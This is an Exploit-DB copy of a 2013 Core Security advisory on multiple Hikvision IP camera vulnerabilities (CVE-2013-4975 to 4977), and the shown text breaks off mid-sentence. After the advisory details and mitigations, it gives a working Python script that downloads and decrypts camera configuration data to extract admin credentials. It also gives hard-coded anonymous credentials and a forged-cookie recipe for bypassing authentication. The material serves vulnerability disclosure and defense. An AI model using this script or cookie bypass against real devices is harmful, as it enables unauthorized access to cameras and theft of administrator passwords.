Exploit-DB #27402
Description: Hikvision IP Cameras 4.1.0 b130111 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-08-07
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Hikvision IP Cameras Multiple Vulnerabilities


1. *Advisory Information*

Title: Hikvision IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0708
Advisory URL:
http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities
Date published: 2013-08-06
Date of last update: 2013-08-06
Vendors contacted: Hikvision
Release mode: User release


2. *Vulnerability Information*

Class: Input validation error [CWE-20], Use of Hard-coded Credentials
[CWE-798], Buffer overflow [CWE-119]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4975, CVE-2013-4976, CVE-2013-4977


3. *Vulnerability Description*

Multiple vulnerabilities have been found in Hikvision IP camera
DS-2CD7153-E [1] (and potentially other cameras sharing the affected
firmware [2]) that could allow a remote attacker:

   1. [CVE-2013-4975] To obtain the admin password from a non-privileged
user account.
   2. [CVE-2013-4976] To bypass the anonymous user authentication using
hard-coded credentials (even if the built-in anonymous user account was
explicitly disabled).
   3. [CVE-2013-4977] To execute arbitrary code without authentication
by exploiting a buffer overflow in the RTSP packet handler.


4. *Vulnerable Packages*

   . Hikvision-DS-2CD7153-E IP camera with firmware v4.1.0 b130111 (Jan
2013).
   . Other devices based on the same firmware [2] are probably affected
too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

There was no official answer from Hikvision after several attempts (see
[Sec. 8]); contact vendor for further information. Some mitigation
actions may be:

   . Do not expose the camera to internet unless absolutely necessary.
   . Have at least one proxy filtering HTTP requests to
'/PSIA/System/ConfigurationData'.
   . Have at least one proxy filtering the 'Range' parameter in RTSP
requests.


6. *Credits*

   . [CVE-2013-4975] was discovered and researched by Alberto Solino
from Core Security.
   . [CVE-2013-4976] was discovered and researched by Alejandro
Rodriguez from Core Exploit QA Team.
   . [CVE-2013-4977] was discovered Anibal Sacco. Analysis and research
by Anibal Sacco and Federico Muttis from Core Exploit Writers Team.
   . The publication of this advisory was coordinated by Fernando
Miranda from Core Advisories Team.


7. *Technical Description / Proof of Concept Code*

7.1. *Privilege Escalation through ConfigurationData Request*

[CVE-2013-4975] The following script allows obtaining the administrator
password by requesting the camera's configuration data and breaking its
trivial encryption. A valid user account is needed to launch the attack.

/-----
import urllib2
import base64
import argparse
import sys

def decrypt(config):
    # Important: We're assuming the last 4 bytes of the file's plaintext
are        
    # zero, hence there we have the key. There are other easy ways to
    # calculate this tho.
    print '[*] Decrypting config'
    key = config[-4:]
    plaintext = ''
    for i in range(len(config)/4):
        for j in range(4):
            plaintext += chr(ord(config[i*4+j]) ^ ord(key[j]))
    return plaintext

def attack(target, username, password, output):
    base_url = 'http://' + target + '/PSIA/System/ConfigurationData'
    headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s'
%(username,password)) }
    print '[*] Attacking %s ' % target
    req = urllib2.Request(base_url, None, headers)
    try:
        response = urllib2.urlopen(req)
        config = response.read()
    except Exception, e:
        print e
        return
    plaintext = decrypt(config)
    print '[*] Writing output file %s' % output
    f = open(output, 'w')
    f.write(plaintext)
    f.close()
    user = plaintext[0x45A0:0x45A0+32]
    [CREDENTIAL_REDACTED][0x45C0:0x45C0+16]
    print 'Probably the admin user is %s and the password is %s' %
(user, pwd)
    print "If it doesn't make any sense, just do a strings of the output
file"
    
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('target', action = 'store', help = 'target host
to attack')
    parser.add_argument('username', action = 'store', help = 'username
to be used to authenticate against target')
    parser.add_argument('password', action = 'store', help = "username's
password")
    parser.add_argument('output', action = 'store', help = "filename to
write the plaintext config")
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)
    options = parser.parse_args()
    attack(options.target, options.username, options.password,
options.output)
-----/


7.2. *Anonymous User Authentication Bypass*

[CVE-2013-4976] The camera has a built-in anonymous account intended for
guest users, but even when the feature is disabled it could be bypassed
due to the usage of hardcoded credentials:

/-----
user: anonymous
password: \177\177\177\177\177\177        
-----/

The bypass cannot be used directly through the login form but rather by
forging a cookie:

   1. Load the login page to generate the initial cookies of the
camera's webapp.
   2. Use your preferred tool (for example Firebug on Firefox) to create
a cookie with the name 'userInfoXX' (replace XX with the port where the
webserver is running i.e. 'userInfo80'), path '/' and value
'YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw=='; this is the tuple
'user:pass' encoded in base64 explained above.
   3. Request the URI 'http:/<ipcam>/doc/pages/main.asp', a page that
should not be accessed without authentication if the anonymous user is
disabled.
There are several references to those hardcoded credentials in the cgis,
but in particular the following snippet was found in
'/doc/pages/scripts/lo